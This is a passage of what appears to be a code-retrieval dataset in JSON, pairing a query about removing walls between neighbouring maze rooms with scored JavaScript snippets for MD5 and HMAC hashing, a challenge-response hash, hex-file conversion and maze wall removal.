17, -42063);\r\n b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);\r\n a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682);\r\n d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);\r\n c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);\r\n b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329);\r\n\r\n a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);\r\n d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);\r\n c = md5_gg(c, d, a, b, x[i+11], 14, 643717713);\r\n b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);\r\n a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);\r\n d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083);\r\n c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);\r\n b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);\r\n a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438);\r\n d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);\r\n c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);\r\n b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501);\r\n a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);\r\n d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);\r\n c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473);\r\n b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);\r\n\r\n a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);\r\n d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);\r\n c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562);\r\n b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);\r\n a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);\r\n d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353);\r\n c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);\r\n b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);\r\n a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174);\r\n d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);\r\n c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);\r\n b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189);\r\n a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);\r\n d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);\r\n c = md5_hh(c, d, a, b, x[i+15], 16, 530742520);\r\n b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);\r\n\r\n a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);\r\n d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);\r\n c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);\r\n b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);\r\n a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);\r\n d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);\r\n c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);\r\n b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);\r\n a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);\r\n d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);\r\n c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);\r\n b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649);\r\n a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);\r\n d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);\r\n c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);\r\n b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);\r\n\r\n a = safe_add(a, olda);\r\n b = safe_add(b, oldb);\r\n c = safe_add(c, oldc);\r\n d = safe_add(d, oldd);\r\n }\r\n return Array(a, b, c, d);\r\n}\r\n\r\n/*\r\n * These functions implement the four basic operations the algorithm uses.\r\n */\r\nfunction md5_cmn(q, a, b, x, s, t)\r\n{\r\n return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);\r\n}\r\nfunction md5_ff(a, b, c, d, x, s, t)\r\n{\r\n return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);\r\n}\r\nfunction md5_gg(a, b, c, d, x, s, t)\r\n{\r\n return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);\r\n}\r\nfunction md5_hh(a, b, c, d, x, s, t)\r\n{\r\n return md5_cmn(b ^ c ^ d, a, b, x, s, t);\r\n}\r\nfunction md5_ii(a, b, c, d, x, s, t)\r\n{\r\n return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);\r\n}\r\n\r\n/*\r\n * Add integers, wrapping at 2^32. This uses 16-bit operations internally\r\n * to work around bugs in some JS interpreters.\r\n */\r\nfunction safe_add(x, y)\r\n{\r\n var lsw = (x & 0xFFFF) + (y & 0xFFFF);\r\n var msw = (x >> 16) + (y >> 16) + (lsw >> 16);\r\n return (msw << 16) | (lsw & 0xFFFF);\r\n}\r\n\r\n/*\r\n * Bitwise rotate a 32-bit number to the left.\r\n */\r\nfunction bit_rol(num, cnt)\r\n{\r\n return (num << cnt) | (num >>> (32 - cnt));\r\n}\r\n\r\n\r\n\r\nreturn {\r\n\thex\t\t\t: hex_md5,\r\n\tb64\t\t\t: b64_md5,\r\n\tany\t\t\t: any_md5,\r\n\thex_hmac\t: hex_hmac_md5,\r\n\tb64_hmac\t: b64_hmac_md5,\r\n\tany_hmac\t: any_hmac_md5\r\n};\r\n\r\n}", "title": "" }, { "docid": "067419e983fc877308a6e98f4a9a9e77", "score": "0.5244444", "text": "function hmac(key, data) {\n\t\t\t\t\tvar h = (new HMAC(key)).update(data);\n\t\t\t\t\tvar digest = h.digest();\n\t\t\t\t\th.clean();\n\t\t\t\t\treturn digest;\n\t\t\t\t}", "title": "" }, { "docid": "20815310bdc6a8fc239d54dda4dc0aef", "score": "0.5239983", "text": "function calcMD5(str) {\n x = str2blks_MD5(str);\n a = 1732584193;\n b = -271733879;\n c = -1732584194;\n d = 271733878;\n for (i = 0; i < x.length; i += 16) {\n olda = a;\n oldb = b;\n oldc = c;\n oldd = d;\n a = ff(a, b, c, d, x[i + 0], 7, -680876936);\n d = ff(d, a, b, c, x[i + 1], 12, -389564586);\n c = ff(c, d, a, b, x[i + 2], 17, 606105819);\n b = ff(b, c, d, a, x[i + 3], 22, -1044525330);\n a = ff(a, b, c, d, x[i + 4], 7, -176418897);\n d = ff(d, a, b, c, x[i + 5], 12, 1200080426);\n c = ff(c, d, a, b, x[i + 6], 17, -1473231341);\n b = ff(b, c, d, a, x[i + 7], 22, -45705983);\n a = ff(a, b, c, d, x[i + 8], 7, 1770035416);\n d = ff(d, a, b, c, x[i + 9], 12, -1958414417);\n c = ff(c, d, a, b, x[i + 10], 17, -42063);\n b = ff(b, c, d, a, x[i + 11], 22, -1990404162);\n a = ff(a, b, c, d, x[i + 12], 7, 1804603682);\n d = ff(d, a, b, c, x[i + 13], 12, -40341101);\n c = ff(c, d, a, b, x[i + 14], 17, -1502002290);\n b = ff(b, c, d, a, x[i + 15], 22, 1236535329);\n a = gg(a, b, c, d, x[i + 1], 5, -165796510);\n d = gg(d, a, b, c, x[i + 6], 9, -1069501632);\n c = gg(c, d, a, b, x[i + 11], 14, 643717713);\n b = gg(b, c, d, a, x[i + 0], 20, -373897302);\n a = gg(a, b, c, d, x[i + 5], 5, -701558691);\n d = gg(d, a, b, c, x[i + 10], 9, 38016083);\n c = gg(c, d, a, b, x[i + 15], 14, -660478335);\n b = gg(b, c, d, a, x[i + 4], 20, -405537848);\n a = gg(a, b, c, d, x[i + 9], 5, 568446438);\n d = gg(d, a, b, c, x[i + 14], 9, -1019803690);\n c = gg(c, d, a, b, x[i + 3], 14, -187363961);\n b = gg(b, c, d, a, x[i + 8], 20, 1163531501);\n a = gg(a, b, c, d, x[i + 13], 5, -1444681467);\n d = gg(d, a, b, c, x[i + 2], 9, -51403784);\n c = gg(c, d, a, b, x[i + 7], 14, 1735328473);\n b = gg(b, c, d, a, x[i + 12], 20, -1926607734);\n a = hh(a, b, c, d, x[i + 5], 4, -378558);\n d = hh(d, a, b, c, x[i + 8], 11, -2022574463);\n c = hh(c, d, a, b, x[i + 11], 16, 1839030562);\n b = hh(b, c, d, a, x[i + 14], 23, -35309556);\n a = hh(a, b, c, d, x[i + 1], 4, -1530992060);\n d = hh(d, a, b, c, x[i + 4], 11, 1272893353);\n c = hh(c, d, a, b, x[i + 7], 16, -155497632);\n b = hh(b, c, d, a, x[i + 10], 23, -1094730640);\n a = hh(a, b, c, d, x[i + 13], 4, 681279174);\n d = hh(d, a, b, c, x[i + 0], 11, -358537222);\n c = hh(c, d, a, b, x[i + 3], 16, -722521979);\n b = hh(b, c, d, a, x[i + 6], 23, 76029189);\n a = hh(a, b, c, d, x[i + 9], 4, -640364487);\n d = hh(d, a, b, c, x[i + 12], 11, -421815835);\n c = hh(c, d, a, b, x[i + 15], 16, 530742520);\n b = hh(b, c, d, a, x[i + 2], 23, -995338651);\n a = ii(a, b, c, d, x[i + 0], 6, -198630844);\n d = ii(d, a, b, c, x[i + 7], 10, 1126891415);\n c = ii(c, d, a, b, x[i + 14], 15, -1416354905);\n b = ii(b, c, d, a, x[i + 5], 21, -57434055);\n a = ii(a, b, c, d, x[i + 12], 6, 1700485571);\n d = ii(d, a, b, c, x[i + 3], 10, -1894986606);\n c = ii(c, d, a, b, x[i + 10], 15, -1051523);\n b = ii(b, c, d, a, x[i + 1], 21, -2054922799);\n a = ii(a, b, c, d, x[i + 8], 6, 1873313359);\n d = ii(d, a, b, c, x[i + 15], 10, -30611744);\n c = ii(c, d, a, b, x[i + 6], 15, -1560198380);\n b = ii(b, c, d, a, x[i + 13], 21, 1309151649);\n a = ii(a, b, c, d, x[i + 4], 6, -145523070);\n d = ii(d, a, b, c, x[i + 11], 10, -1120210379);\n c = ii(c, d, a, b, x[i + 2], 15, 718787259);\n b = ii(b, c, d, a, x[i + 9], 21, -343485551);\n a = add(a, olda);\n b = add(b, oldb);\n c = add(c, oldc);\n d = add(d, oldd);\n }\n return rhex(a) + rhex(b) + rhex(c) + rhex(d);\n }", "title": "" }, { "docid": "7f0ed24075974092160cded02a19828c", "score": "0.5231029", "text": "function calcMD5(str)\n{\n x = str2blks_MD5(str);\n a = 1732584193;\n b = -271733879;\n c = -1732584194;\n d = 271733878;\n\n for(i = 0; i < x.length; i += 16)\n {\n olda = a;\n oldb = b;\n oldc = c;\n oldd = d;\n\n a = ff(a, b, c, d, x[i+ 0], 7 , -680876936);\n d = ff(d, a, b, c, x[i+ 1], 12, -389564586);\n c = ff(c, d, a, b, x[i+ 2], 17, 606105819);\n b = ff(b, c, d, a, x[i+ 3], 22, -1044525330);\n a = ff(a, b, c, d, x[i+ 4], 7 , -176418897);\n d = ff(d, a, b, c, x[i+ 5], 12, 1200080426);\n c = ff(c, d, a, b, x[i+ 6], 17, -1473231341);\n b = ff(b, c, d, a, x[i+ 7], 22, -45705983);\n a = ff(a, b, c, d, x[i+ 8], 7 , 1770035416);\n d = ff(d, a, b, c, x[i+ 9], 12, -1958414417);\n c = ff(c, d, a, b, x[i+10], 17, -42063);\n b = ff(b, c, d, a, x[i+11], 22, -1990404162);\n a = ff(a, b, c, d, x[i+12], 7 , 1804603682);\n d = ff(d, a, b, c, x[i+13], 12, -40341101);\n c = ff(c, d, a, b, x[i+14], 17, -1502002290);\n b = ff(b, c, d, a, x[i+15], 22, 1236535329);\n\n a = gg(a, b, c, d, x[i+ 1], 5 , -165796510);\n d = gg(d, a, b, c, x[i+ 6], 9 , -1069501632);\n c = gg(c, d, a, b, x[i+11], 14, 643717713);\n b = gg(b, c, d, a, x[i+ 0], 20, -373897302);\n a = gg(a, b, c, d, x[i+ 5], 5 , -701558691);\n d = gg(d, a, b, c, x[i+10], 9 , 38016083);\n c = gg(c, d, a, b, x[i+15], 14, -660478335);\n b = gg(b, c, d, a, x[i+ 4], 20, -405537848);\n a = gg(a, b, c, d, x[i+ 9], 5 , 568446438);\n d = gg(d, a, b, c, x[i+14], 9 , -1019803690);\n c = gg(c, d, a, b, x[i+ 3], 14, -187363961);\n b = gg(b, c, d, a, x[i+ 8], 20, 1163531501);\n a = gg(a, b, c, d, x[i+13], 5 , -1444681467);\n d = gg(d, a, b, c, x[i+ 2], 9 , -51403784);\n c = gg(c, d, a, b, x[i+ 7], 14, 1735328473);\n b = gg(b, c, d, a, x[i+12], 20, -1926607734);\n\n a = hh(a, b, c, d, x[i+ 5], 4 , -378558);\n d = hh(d, a, b, c, x[i+ 8], 11, -2022574463);\n c = hh(c, d, a, b, x[i+11], 16, 1839030562);\n b = hh(b, c, d, a, x[i+14], 23, -35309556);\n a = hh(a, b, c, d, x[i+ 1], 4 , -1530992060);\n d = hh(d, a, b, c, x[i+ 4], 11, 1272893353);\n c = hh(c, d, a, b, x[i+ 7], 16, -155497632);\n b = hh(b, c, d, a, x[i+10], 23, -1094730640);\n a = hh(a, b, c, d, x[i+13], 4 , 681279174);\n d = hh(d, a, b, c, x[i+ 0], 11, -358537222);\n c = hh(c, d, a, b, x[i+ 3], 16, -722521979);\n b = hh(b, c, d, a, x[i+ 6], 23, 76029189);\n a = hh(a, b, c, d, x[i+ 9], 4 , -640364487);\n d = hh(d, a, b, c, x[i+12], 11, -421815835);\n c = hh(c, d, a, b, x[i+15], 16, 530742520);\n b = hh(b, c, d, a, x[i+ 2], 23, -995338651);\n\n a = ii(a, b, c, d, x[i+ 0], 6 , -198630844);\n d = ii(d, a, b, c, x[i+ 7], 10, 1126891415);\n c = ii(c, d, a, b, x[i+14], 15, -1416354905);\n b = ii(b, c, d, a, x[i+ 5], 21, -57434055);\n a = ii(a, b, c, d, x[i+12], 6 , 1700485571);\n d = ii(d, a, b, c, x[i+ 3], 10, -1894986606);\n c = ii(c, d, a, b, x[i+10], 15, -1051523);\n b = ii(b, c, d, a, x[i+ 1], 21, -2054922799);\n a = ii(a, b, c, d, x[i+ 8], 6 , 1873313359);\n d = ii(d, a, b, c, x[i+15], 10, -30611744);\n c = ii(c, d, a, b, x[i+ 6], 15, -1560198380);\n b = ii(b, c, d, a, x[i+13], 21, 1309151649);\n a = ii(a, b, c, d, x[i+ 4], 6 , -145523070);\n d = ii(d, a, b, c, x[i+11], 10, -1120210379);\n c = ii(c, d, a, b, x[i+ 2], 15, 718787259);\n b = ii(b, c, d, a, x[i+ 9], 21, -343485551);\n\n a = add(a, olda);\n b = add(b, oldb);\n c = add(c, oldc);\n d = add(d, oldd);\n }\n return rhex(a) + rhex(b) + rhex(c) + rhex(d);\n}", "title": "" }, { "docid": "7f0ed24075974092160cded02a19828c", "score": "0.5231029", "text": "function calcMD5(str)\n{\n x = str2blks_MD5(str);\n a = 1732584193;\n b = -271733879;\n c = -1732584194;\n d = 271733878;\n\n for(i = 0; i < x.length; i += 16)\n {\n olda = a;\n oldb = b;\n oldc = c;\n oldd = d;\n\n a = ff(a, b, c, d, x[i+ 0], 7 , -680876936);\n d = ff(d, a, b, c, x[i+ 1], 12, -389564586);\n c = ff(c, d, a, b, x[i+ 2], 17, 606105819);\n b = ff(b, c, d, a, x[i+ 3], 22, -1044525330);\n a = ff(a, b, c, d, x[i+ 4], 7 , -176418897);\n d = ff(d, a, b, c, x[i+ 5], 12, 1200080426);\n c = ff(c, d, a, b, x[i+ 6], 17, -1473231341);\n b = ff(b, c, d, a, x[i+ 7], 22, -45705983);\n a = ff(a, b, c, d, x[i+ 8], 7 , 1770035416);\n d = ff(d, a, b, c, x[i+ 9], 12, -1958414417);\n c = ff(c, d, a, b, x[i+10], 17, -42063);\n b = ff(b, c, d, a, x[i+11], 22, -1990404162);\n a = ff(a, b, c, d, x[i+12], 7 , 1804603682);\n d = ff(d, a, b, c, x[i+13], 12, -40341101);\n c = ff(c, d, a, b, x[i+14], 17, -1502002290);\n b = ff(b, c, d, a, x[i+15], 22, 1236535329);\n\n a = gg(a, b, c, d, x[i+ 1], 5 , -165796510);\n d = gg(d, a, b, c, x[i+ 6], 9 , -1069501632);\n c = gg(c, d, a, b, x[i+11], 14, 643717713);\n b = gg(b, c, d, a, x[i+ 0], 20, -373897302);\n a = gg(a, b, c, d, x[i+ 5], 5 , -701558691);\n d = gg(d, a, b, c, x[i+10], 9 , 38016083);\n c = gg(c, d, a, b, x[i+15], 14, -660478335);\n b = gg(b, c, d, a, x[i+ 4], 20, -405537848);\n a = gg(a, b, c, d, x[i+ 9], 5 , 568446438);\n d = gg(d, a, b, c, x[i+14], 9 , -1019803690);\n c = gg(c, d, a, b, x[i+ 3], 14, -187363961);\n b = gg(b, c, d, a, x[i+ 8], 20, 1163531501);\n a = gg(a, b, c, d, x[i+13], 5 , -1444681467);\n d = gg(d, a, b, c, x[i+ 2], 9 , -51403784);\n c = gg(c, d, a, b, x[i+ 7], 14, 1735328473);\n b = gg(b, c, d, a, x[i+12], 20, -1926607734);\n\n a = hh(a, b, c, d, x[i+ 5], 4 , -378558);\n d = hh(d, a, b, c, x[i+ 8], 11, -2022574463);\n c = hh(c, d, a, b, x[i+11], 16, 1839030562);\n b = hh(b, c, d, a, x[i+14], 23, -35309556);\n a = hh(a, b, c, d, x[i+ 1], 4 , -1530992060);\n d = hh(d, a, b, c, x[i+ 4], 11, 1272893353);\n c = hh(c, d, a, b, x[i+ 7], 16, -155497632);\n b = hh(b, c, d, a, x[i+10], 23, -1094730640);\n a = hh(a, b, c, d, x[i+13], 4 , 681279174);\n d = hh(d, a, b, c, x[i+ 0], 11, -358537222);\n c = hh(c, d, a, b, x[i+ 3], 16, -722521979);\n b = hh(b, c, d, a, x[i+ 6], 23, 76029189);\n a = hh(a, b, c, d, x[i+ 9], 4 , -640364487);\n d = hh(d, a, b, c, x[i+12], 11, -421815835);\n c = hh(c, d, a, b, x[i+15], 16, 530742520);\n b = hh(b, c, d, a, x[i+ 2], 23, -995338651);\n\n a = ii(a, b, c, d, x[i+ 0], 6 , -198630844);\n d = ii(d, a, b, c, x[i+ 7], 10, 1126891415);\n c = ii(c, d, a, b, x[i+14], 15, -1416354905);\n b = ii(b, c, d, a, x[i+ 5], 21, -57434055);\n a = ii(a, b, c, d, x[i+12], 6 , 1700485571);\n d = ii(d, a, b, c, x[i+ 3], 10, -1894986606);\n c = ii(c, d, a, b, x[i+10], 15, -1051523);\n b = ii(b, c, d, a, x[i+ 1], 21, -2054922799);\n a = ii(a, b, c, d, x[i+ 8], 6 , 1873313359);\n d = ii(d, a, b, c, x[i+15], 10, -30611744);\n c = ii(c, d, a, b, x[i+ 6], 15, -1560198380);\n b = ii(b, c, d, a, x[i+13], 21, 1309151649);\n a = ii(a, b, c, d, x[i+ 4], 6 , -145523070);\n d = ii(d, a, b, c, x[i+11], 10, -1120210379);\n c = ii(c, d, a, b, x[i+ 2], 15, 718787259);\n b = ii(b, c, d, a, x[i+ 9], 21, -343485551);\n\n a = add(a, olda);\n b = add(b, oldb);\n c = add(c, oldc);\n d = add(d, oldd);\n }\n return rhex(a) + rhex(b) + rhex(c) + rhex(d);\n}", "title": "" }, { "docid": "be1ee6a5890fffe26bfbf3e0b4396fb7", "score": "0.5223926", "text": "function makeHash(challenge, appId, key) {\n\tfunction padRight(original, totalWidth, ch) {\n function stringFromChar(ch, count) {\n var s = ch;\n for (var i = 1; i < count; i++) {\n s += ch;\n }\n return s;\n }\n if (original.length < totalWidth) {\n ch = ch || ' ';\n return original + stringFromChar(ch, totalWidth - original.length);\n }\n return original.valueOf();\n }\n function parseHexInt(s) {\n var result = parseInt(s, 16);\n if (isNaN(result)) {\n return 0;\n }\n return result;\n }\n function int32ToHexString(n) {\n var hexChars = '0123456789abcdef';\n var hexString = '';\n for (var i = 0; i <= 3; i++) {\n hexString += hexChars.charAt((n >> (i * 8 + 4)) & 15);\n hexString += hexChars.charAt((n >> (i * 8)) & 15);\n }\n return hexString;\n }\n\n function int64Xor(a, b) {\n var sA = a.toString(2);\n var sB = b.toString(2);\n var sC = '';\n var sD = '';\n var diff = Math.abs(sA.length - sB.length);\n var i;\n for (i = 0; i < diff; i++) {\n sD += '0';\n }\n if (sA.length < sB.length) {\n sD += sA;\n sA = sD;\n }\n else if (sB.length < sA.length) {\n sD += sB;\n sB = sD;\n }\n for (i = 0; i < sA.length; i++) {\n sC += (sA.charAt(i) === sB.charAt(i)) ? '0' : '1';\n }\n return parseInt(sC.toString(), 2);\n }\n function cS64_C(pdwData, pInHash, pOutHash) {\n var MODULUS = 2147483647;\n if ((pdwData.length < 2) || ((pdwData.length & 1) === 1)) {\n return false;\n }\n var ulCS64_a = pInHash[0] & MODULUS;\n var ulCS64_b = pInHash[1] & MODULUS;\n var ulCS64_c = pInHash[2] & MODULUS;\n var ulCS64_d = pInHash[3] & MODULUS;\n var ulCS64_e = 242854337;\n var CS64_a = bigInt(ulCS64_a.toString());\n var CS64_b = bigInt(ulCS64_b.toString());\n var CS64_c = bigInt(ulCS64_c.toString());\n var CS64_d = bigInt(ulCS64_d.toString());\n var CS64_e = bigInt(ulCS64_e.toString());\n var pos = 0;\n var mod = bigInt(MODULUS.toString());\n var qwDatum = bigInt('0');\n var qwMAC = bigInt('0');\n var qwSum = bigInt('0');\n for (var i = 0; i < pdwData.length / 2; i++) {\n qwDatum = bigInt(pdwData[pos++].toString());\n qwDatum.multiply(CS64_e);\n qwDatum.mod(mod);\n qwMAC.add(qwDatum);\n qwMAC.multiply(CS64_a);\n qwMAC.add(CS64_b);\n qwMAC.mod(mod);\n qwSum.add(qwMAC);\n qwMAC.add(bigInt(pdwData[pos++].toString()));\n qwMAC.multiply(CS64_c);\n qwMAC.add(CS64_d);\n qwMAC.mod(mod);\n qwSum.add(qwMAC);\n }\n qwMAC.add(CS64_b);\n qwMAC.mod(mod);\n qwSum.add(CS64_d);\n qwSum.mod(mod);\n pOutHash[0] = parseInt(qwMAC.toString(), 10);\n pOutHash[1] = parseInt(qwSum.toString(), 10);\n return true;\n }\n var clearText = challenge + appId;\n var remaining = 8 - (clearText.length % 8);\n if (remaining !== 8) {\n clearText = padRight(clearText, clearText.length + remaining, '0');\n }\n var cchClearText = clearText.length / 4;\n var pClearText = [];\n var i;\n var pos;\n for (i = 0, pos = 0; i < cchClearText; i++) {\n pClearText.splice(i, 0, 0);\n pClearText[i] = pClearText[i] + clearText.charCodeAt(pos++) * 1;\n pClearText[i] = pClearText[i] + clearText.charCodeAt(pos++) * 256;\n pClearText[i] = pClearText[i] + clearText.charCodeAt(pos++) * 65536;\n pClearText[i] = pClearText[i] + clearText.charCodeAt(pos++) * 16777216;\n }\n var sha256Hash = new Array(4);\n var hash = sha256.sha256(challenge + key).toUpperCase();\n for (i = 0, pos = 0; i < sha256Hash.length; i++) {\n sha256Hash[i] = 0;\n sha256Hash[i] += parseHexInt(hash.substr(pos, 2)) * 1;\n pos += 2;\n sha256Hash[i] += parseHexInt(hash.substr(pos, 2)) * 256;\n pos += 2;\n sha256Hash[i] += parseHexInt(hash.substr(pos, 2)) * 65536;\n pos += 2;\n sha256Hash[i] += parseHexInt(hash.substr(pos, 2)) * 16777216;\n pos += 2;\n }\n var macHash = new Array(2);\n cS64_C(pClearText, sha256Hash, macHash);\n var a = int64Xor(sha256Hash[0], macHash[0]);\n var b = int64Xor(sha256Hash[1], macHash[1]);\n var c = int64Xor(sha256Hash[2], macHash[0]);\n var d = int64Xor(sha256Hash[3], macHash[1]);\n return int32ToHexString(a) + int32ToHexString(b) + int32ToHexString(c) + int32ToHexString(d);\n}", "title": "" }, { "docid": "048579e4292250abd8b6207ec0828383", "score": "0.5209189", "text": "function hexlifyScript(script) {\n\n function hexlify(ar) {\n var result = '';\n for (var i = 0; i < ar.length; ++i) {\n if (ar[i] < 16) {\n result += '0';\n }\n result += ar[i].toString(16);\n }\n return result;\n }\n\n // add header, pad to multiple of 16 bytes\n data = new Uint8Array(4 + script.length + (16 - (4 + script.length) % 16));\n data[0] = 77; // 'M'\n data[1] = 80; // 'P'\n data[2] = script.length & 0xff;\n data[3] = (script.length >> 8) & 0xff;\n for (var i = 0; i < script.length; ++i) {\n data[4 + i] = script.charCodeAt(i);\n }\n // TODO check data.length < 0x2000\n\n // convert to .hex format\n var addr = 0x3e000; // magic start address in flash\n var chunk = new Uint8Array(5 + 16);\n var output = [];\n for (var i = 0; i < data.length; i += 16, addr += 16) {\n chunk[0] = 16; // length of data section\n chunk[1] = (addr >> 8) & 0xff; // high byte of 16-bit addr\n chunk[2] = addr & 0xff; // low byte of 16-bit addr\n chunk[3] = 0; // type (data)\n for (var j = 0; j < 16; ++j) {\n chunk[4 + j] = data[i + j];\n }\n var checksum = 0;\n for (var j = 0; j < 4 + 16; ++j) {\n checksum += chunk[j];\n }\n chunk[4 + 16] = (-checksum) & 0xff;\n output.push(':' + hexlify(chunk).toUpperCase())\n }\n\n return output.join('\\n');\n }", "title": "" } ]
18996d2123f47a8fa6a47f7d2809541a
Breaks the walls that is between two neighbouring rooms. Both rooms will a overlapping wall, this is the wall that will be deleted.
[ { "docid": "1d284613a3e4fdfcf962b7e0483eb6fc", "score": "0.76999044", "text": "breakWall(index1, index2){\n if(!this.isNeighbour(index1, index2))\n return;\n\n const room1 = this.maze[index1];\n const room2 = this.maze[index2];\n const x1 = room1.getPositionX();\n const y1 = room1.getPositionY();\n const x2 = room2.getPositionX();\n const y2 = room2.getPositionY();\n const w = room1.getWidth();\n const h = room1.getHeight();\n\n if(x2 < x1){\n // Break left and right wall\n room1.destroyWall(\"left\");\n room2.destroyWall(\"right\");\n }\n else if(x2 > x1){\n // Break right and left wall\n room1.destroyWall(\"right\");\n room2.destroyWall(\"left\");\n }\n else if(y2 < y1){\n // Break top and bottom wall\n room1.destroyWall(\"top\");\n room2.destroyWall(\"bottom\");\n }\n else if(y2 > y1){\n // Break bottom and top wall\n room1.destroyWall(\"bottom\");\n room2.destroyWall(\"top\");\n }\n }", "title": "" } ]
[ { "docid": "d0f4ed5cd1504e61c7d5a6142a48bf26", "score": "0.7710727", "text": "removeDuplicateWalls() {\n\t\t// delete the wall between these corners, if it exists\n\t\tvar wallEndpoints = {};\n\t\tvar wallStartpoints = {};\n\t\tlet i;\n\t\tfor (i = this.wallStarts.length - 1; i >= 0; i--) {\n\t\t\tif (this.wallStarts[i].getEnd() === this) {\n\t\t\t\t// remove zero length wall\n\t\t\t\tthis.wallStarts[i].remove();\n\t\t\t} else if (this.wallStarts[i].getEnd().id in wallEndpoints) {\n\t\t\t\t// remove duplicated wall\n\t\t\t\tthis.wallStarts[i].remove();\n\t\t\t} else {\n\t\t\t\twallEndpoints[this.wallStarts[i].getEnd().id] = true;\n\t\t\t}\n\t\t}\n\t\tfor (i = this.wallEnds.length - 1; i >= 0; i--) {\n\t\t\tif (this.wallEnds[i].getStart() === this) {\n\t\t\t\t// removed zero length wall\n\t\t\t\tthis.wallEnds[i].remove();\n\t\t\t} else if (this.wallEnds[i].getStart().id in wallStartpoints) {\n\t\t\t\t// removed duplicated wall\n\t\t\t\tthis.wallEnds[i].remove();\n\t\t\t} else {\n\t\t\t\twallStartpoints[this.wallEnds[i].getStart().id] = true;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "6afc3cb23bfa4692980ade2831dc188a", "score": "0.75574476", "text": "function removeWalls(a, b) {\n var cellDifx = a.i - b.i;\n if (cellDifx === 1) {\n a.walls[3] = false;\n b.walls[1] = false;\n } else if (cellDifx === -1) {\n a.walls[1] = false;\n b.walls[3] = false;\n }\n var cellDify = a.j - b.j;\n if (cellDify === 1) {\n a.walls[0] = false;\n b.walls[2] = false;\n } else if (cellDify === -1) {\n a.walls[2] = false;\n b.walls[0] = false;\n }\n}", "title": "" }, { "docid": "1b543e6356b2d31a2b018b56e55542a8", "score": "0.7397339", "text": "function removeWalls(a, b) {\r\n\r\n var x = a.i - b.i;\r\n if (a.i != 0 || b.i != 0) {\r\n if (x === 1) {\r\n a.walls[3] = false;\r\n b.walls[1] = false;\r\n } else if (x === -1) {\r\n a.walls[1] = false;\r\n b.walls[3] = false;\r\n }\r\n }\r\n var y = a.j - b.j;\r\n if (y === 1) {\r\n a.walls[0] = false;\r\n b.walls[2] = false;\r\n } else if (y === -1) {\r\n a.walls[2] = false;\r\n b.walls[0] = false;\r\n }\r\n\r\n}", "title": "" }, { "docid": "330908d9296f5c182014dd3f218f0f61", "score": "0.73930854", "text": "function removeWalls(a, b) {\n\n var x = a.i - b.i;\n if (x === 1) {\n a.walls[3] = false;\n b.walls[1] = false;\n } else if (x === -1) {\n a.walls[1] = false;\n b.walls[3] = false;\n }\n\n //This part of my new code deals with the y-axis and removing walls verticaly (colls).\n\n var y = a.j - b.j;\n if (y === 1) {\n a.walls[0] = false;\n b.walls[2] = false;\n } else if (y === -1) {\n a.walls[2] = false;\n b.walls[0] = false;\n }\n}", "title": "" }, { "docid": "5ce4517626b992f4f464b394cb493d7e", "score": "0.7225104", "text": "function removeWalls(a, b) {\n var x = a.x - b.x;\n\n // a is right to b\n if (x === 1) {\n a.walls[LEFT] = false;\n b.walls[RIGHT] = false;\n }\n // a is left to b\n else if (x === -1) {\n a.walls[RIGHT] = false;\n b.walls[LEFT] = false;\n }\n\n var y = a.y - b.y;\n // a is below b\n if (y === 1) {\n a.walls[TOP] = false;\n b.walls[BOTTOM] = false;\n }\n // a is above b\n else if (y === -1) {\n a.walls[BOTTOM] = false;\n b.walls[TOP] = false;\n\n }\n\n}", "title": "" }, { "docid": "0240d13e5d6ee5cca0528b7d4e4d601a", "score": "0.6929098", "text": "destroyWalls()\n\t{\n\t\tlet coorX = 